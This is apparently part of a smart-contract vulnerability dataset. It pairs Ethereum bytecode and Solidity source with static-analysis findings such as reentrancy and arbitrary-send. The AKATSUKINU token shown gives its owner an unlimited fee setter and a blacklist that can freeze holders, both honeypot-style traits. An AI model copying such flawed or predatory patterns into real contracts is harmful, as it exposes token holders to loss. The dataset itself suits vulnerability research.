060020a0390811691161480610e88575060005433600160a060020a039081169116145b1515610e9357600080fd5b6001600b5460ff166004811115610ea657fe5b14610eb057600080fd5b600d818051610ec392916020019061152d565b50600b805460ff1916600217908190556004547f3f63a1d75a702ad3ae7690513a3c2d5af5fbb0f3d928b1997a2ae19ac2b2a4239160ff16600d60405180848152602001836004811115610f1357fe5b60ff1681526040828203810160208301908152845460026001821615610100026000190190911604918301829052916060019084908015610f955780601f10610f6a57610100808354040283529160200191610f95565b820191906000526020600020905b815481529060010190602001808311610f7857829003601f168201915b505094505050505060405180910390a1601154600454600160a060020a0390911690633339451b90309060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561100257600080fd5b6102c65a03f1151561101357600080fd5b50505050565b6000600b5460ff16600481111561102c57fe5b1461103657600080fd5b600b805460ff19166001179081905560038054600160a060020a0384811673ffffffffffffffffffffffffffffffffffffffff19909216919091179182905542600c556004547fea9001d86b80688d0e0a3392a6238aac96f42849b3bb4d0c9f268c822a4e3f0493909260ff9091169116604051808481526020018360048111156110bd57fe5b60ff16815260200182600160a060020a0316600160a060020a03168152602001935050505060405180910390a1601154600454600160a060020a0390911690633103fa2690309060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561100257600080fd5b600160075460ff16600181111561115a57fe5b1461116457600080fd5b60105433600160a060020a0390811691161461117f57600080fd5b60095481101561118e57600080fd5b61071f82611019565b80600160a060020a033016318111156111b75750600160a060020a033016315b600f54600160a060020a031681156108fc0282604051600060405180830381858888f1935050505015156111ea57600080fd5b600030600160a060020a03163111801561120e5750600354600160a060020a031615155b1561071f57600354600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561071f57600080fd5b8060006112576105cb565b905080831115611265578091505b601054600f54600160a060020a039182169163a9059cbb91168460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156112cb57600080fd5b6102c65a03f115156112dc57600080fd5b50505060405180519050506112ef6105cb565b905060008111801561130b5750600354600160a060020a031615155b15610abd57601054600354600160a060020a039182169163a9059cbb91168360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561137657600080fd5b6102c65a03f1151561138757600080fd5b50505060405180515050505050565b6000600e5411156113da57600f54600e54600160a060020a039091169080156108fc0290604051600060405180830381858888f1935050505015156113da57600080fd5b600254600160a060020a039081169030163180156108fc0290604051600060405180830381858888f1935050505015156105ba57600080fd5b6000600e5411156114a357601054600f54600e54600160a060020a039283169263a9059cbb92169060006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561148757600080fd5b6102c65a03f1151561149857600080fd5b505050604051805150505b601054600254600160a060020a039182169163a9059cbb91166114c46105cb565b60006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561151057600080fd5b6102c65a03f1151561152157600080fd5b50505060405180515050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061156e57805160ff191683800117855561159b565b8280016001018555821561159b579182015b8281111561159b578251825591602001919060010190611580565b506115a79291506115ab565b5090565b61066e91905b808211156115a757600081556001016115b15600a165627a7a72305820b6273084c6f54bd3ad892cea9cf6d06aa8f14c54d4ee750f7d8a2dcc858f6a830029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 3,949 |
0x672e02fc5176282a5c9526d579ad6c0d96f94345
|
/**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
//https://t.me/akatsukinuportal
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract AKATSUKINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e13 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "AKATSUKINU";
string private constant _symbol = "AKATSUKINU";
uint private constant _decimals = 9;
uint256 private _teamFee = 13;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from]);
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(15);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103c3578063cf0848f7146103d8578063cf9d4afa146103f8578063dd62ed3e14610418578063e6ec64ec1461045e578063f2fde38b1461047e57600080fd5b8063715018a6146103265780638da5cb5b1461033b57806390d49b9d1461036357806395d89b4114610172578063a9059cbb14610383578063b515566a146103a357600080fd5b806331c2d8471161010857806331c2d8471461023f5780633bbac5791461025f578063437823ec14610298578063476343ee146102b85780635342acb4146102cd57806370a082311461030657600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b457806318160ddd146101e457806323b872dd1461020b578063313ce5671461022b57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049e565b005b34801561017e57600080fd5b50604080518082018252600a815269414b415453554b494e5560b01b602082015290516101ab919061184f565b60405180910390f35b3480156101c057600080fd5b506101d46101cf3660046118c9565b6104ea565b60405190151581526020016101ab565b3480156101f057600080fd5b5069021e19e0c9bab24000005b6040519081526020016101ab565b34801561021757600080fd5b506101d46102263660046118f5565b610501565b34801561023757600080fd5b5060096101fd565b34801561024b57600080fd5b5061017061025a36600461194c565b61056a565b34801561026b57600080fd5b506101d461027a366004611a11565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a457600080fd5b506101706102b3366004611a11565b610600565b3480156102c457600080fd5b5061017061064e565b3480156102d957600080fd5b506101d46102e8366004611a11565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031257600080fd5b506101fd610321366004611a11565b610688565b34801561033257600080fd5b506101706106aa565b34801561034757600080fd5b506000546040516001600160a01b0390911681526020016101ab565b34801561036f57600080fd5b5061017061037e366004611a11565b6106e0565b34801561038f57600080fd5b506101d461039e3660046118c9565b61075a565b3480156103af57600080fd5b506101706103be36600461194c565b610767565b3480156103cf57600080fd5b50610170610880565b3480156103e457600080fd5b506101706103f3366004611a11565b610938565b34801561040457600080fd5b50610170610413366004611a11565b610983565b34801561042457600080fd5b506101fd610433366004611a2e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046a57600080fd5b50610170610479366004611a67565b610bde565b34801561048a57600080fd5b50610170610499366004611a11565b610c0d565b6000546001600160a01b031633146104d15760405162461bcd60e51b81526004016104c890611a80565b60405180910390fd5b60006104dc30610688565b90506104e781610ca5565b50565b60006104f7338484610e1f565b5060015b92915050565b600061050e848484610f43565b610560843361055b85604051806060016040528060288152602001611bfb602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611304565b610e1f565b5060019392505050565b6000546001600160a01b031633146105945760405162461bcd60e51b81526004016104c890611a80565b60005b81518110156105fc576000600560008484815181106105b8576105b8611ab5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f481611ae1565b915050610597565b5050565b6000546001600160a01b0316331461062a5760405162461bcd60e51b81526004016104c890611a80565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105fc573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104fb9061133e565b6000546001600160a01b031633146106d45760405162461bcd60e51b81526004016104c890611a80565b6106de60006113c2565b565b6000546001600160a01b0316331461070a5760405162461bcd60e51b81526004016104c890611a80565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f7338484610f43565b6000546001600160a01b031633146107915760405162461bcd60e51b81526004016104c890611a80565b60005b81518110156105fc57600c5482516001600160a01b03909116908390839081106107c0576107c0611ab5565b60200260200101516001600160a01b0316141580156108115750600b5482516001600160a01b03909116908390839081106107fd576107fd611ab5565b60200260200101516001600160a01b031614155b1561086e5760016005600084848151811061082e5761082e611ab5565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087881611ae1565b915050610794565b6000546001600160a01b031633146108aa5760405162461bcd60e51b81526004016104c890611a80565b600c54600160a01b900460ff1661090e5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c8565b600c805460ff60b81b1916600160b81b17905542600d8190556109339061012c611afc565b600e55565b6000546001600160a01b031633146109625760405162461bcd60e51b81526004016104c890611a80565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109ad5760405162461bcd60e51b81526004016104c890611a80565b600c54600160a01b900460ff1615610a155760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c8565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a909190611b14565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610add573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b019190611b14565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b729190611b14565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c085760405162461bcd60e51b81526004016104c890611a80565b600855565b6000546001600160a01b03163314610c375760405162461bcd60e51b81526004016104c890611a80565b6001600160a01b038116610c9c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c8565b6104e7816113c2565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ced57610ced611ab5565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6a9190611b14565b81600181518110610d7d57610d7d611ab5565b6001600160a01b039283166020918202929092010152600b54610da39130911684610e1f565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ddc908590600090869030904290600401611b31565b600060405180830381600087803b158015610df657600080fd5b505af1158015610e0a573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e815760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c8565b6001600160a01b038216610ee25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c8565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fa75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c8565b6001600160a01b0382166110095760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c8565b6000811161106b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c8565b6001600160a01b03831660009081526005602052604090205460ff161561109157600080fd5b6001600160a01b03831660009081526004602052604081205460ff161580156110d357506001600160a01b03831660009081526004602052604090205460ff16155b80156110e95750600c54600160a81b900460ff16155b80156111195750600c546001600160a01b03858116911614806111195750600c546001600160a01b038481169116145b156112f257600c54600160b81b900460ff166111775760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c8565b50600c546001906001600160a01b0385811691161480156111a65750600b546001600160a01b03848116911614155b80156111b3575042600e54115b156111fc5760006111c384610688565b90506111e560646111df69021e19e0c9bab24000006002611412565b90611491565b6111ef84836114d3565b11156111fa57600080fd5b505b600d5442141561122a576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061123530610688565b600c54909150600160b01b900460ff161580156112605750600c546001600160a01b03868116911614155b156112f05780156112f057600c54611294906064906111df90600f9061128e906001600160a01b0316610688565b90611412565b8111156112c157600c546112be906064906111df90600f9061128e906001600160a01b0316610688565b90505b60006112ce82600f611491565b90506112da8183611ba2565b91506112e581611532565b6112ee82610ca5565b505b505b6112fe84848484611562565b50505050565b600081848411156113285760405162461bcd60e51b81526004016104c8919061184f565b5060006113358486611ba2565b95945050505050565b60006006548211156113a55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c8565b60006113af611665565b90506113bb8382611491565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600082611421575060006104fb565b600061142d8385611bb9565b90508261143a8583611bd8565b146113bb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c8565b60006113bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611688565b6000806114e08385611afc565b9050838110156113bb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c8565b600c805460ff60b01b1916600160b01b1790556115523061dead83610f43565b50600c805460ff60b01b19169055565b8080611570576115706116b6565b60008060008061157f876116d2565b6001600160a01b038d16600090815260016020526040902054939750919550935091506115ac9085611719565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546115db90846114d3565b6001600160a01b0389166000908152600160205260409020556115fd8161175b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161164291815260200190565b60405180910390a3505050508061165e5761165e600954600855565b5050505050565b60008060006116726117a5565b90925090506116818282611491565b9250505090565b600081836116a95760405162461bcd60e51b81526004016104c8919061184f565b5060006113358486611bd8565b6000600854116116c557600080fd5b6008805460095560009055565b6000806000806000806116e7876008546117e9565b9150915060006116f5611665565b90506000806117058a8585611816565b909b909a5094985092965092945050505050565b60006113bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611304565b6000611765611665565b905060006117738383611412565b3060009081526001602052604090205490915061179090826114d3565b30600090815260016020526040902055505050565b600654600090819069021e19e0c9bab24000006117c28282611491565b8210156117e05750506006549269021e19e0c9bab240000092509050565b90939092509050565b600080806117fc60646111df8787611412565b9050600061180a8683611719565b96919550909350505050565b600080806118248685611412565b905060006118328686611412565b905060006118408383611719565b92989297509195505050505050565b600060208083528351808285015260005b8181101561187c57858101830151858201604001528201611860565b8181111561188e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e757600080fd5b80356118c4816118a4565b919050565b600080604083850312156118dc57600080fd5b82356118e7816118a4565b946020939093013593505050565b60008060006060848603121561190a57600080fd5b8335611915816118a4565b92506020840135611925816118a4565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561195f57600080fd5b823567ffffffffffffffff8082111561197757600080fd5b818501915085601f83011261198b57600080fd5b81358181111561199d5761199d611936565b8060051b604051601f19603f830116810181811085821117156119c2576119c2611936565b6040529182528482019250838101850191888311156119e057600080fd5b938501935b82851015611a05576119f6856118b9565b845293850193928501926119e5565b98975050505050505050565b600060208284031215611a2357600080fd5b81356113bb816118a4565b60008060408385031215611a4157600080fd5b8235611a4c816118a4565b91506020830135611a5c816118a4565b809150509250929050565b600060208284031215611a7957600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611af557611af5611acb565b5060010190565b60008219821115611b0f57611b0f611acb565b500190565b600060208284031215611b2657600080fd5b81516113bb816118a4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b815784516001600160a01b031683529383019391830191600101611b5c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611bb457611bb4611acb565b500390565b6000816000190483118215151615611bd357611bd3611acb565b500290565b600082611bf557634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5dc25f87f2f3d6ed3fa1582cb6f58c3eb6eea9075b6710b89778ceb823759bd64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,950 |
0xd6bbaf6786710ad18560bc339dbaf5a7f12db329
|
/**
*Submitted for verification at Etherscan.io on 2020-07-18
*/
pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
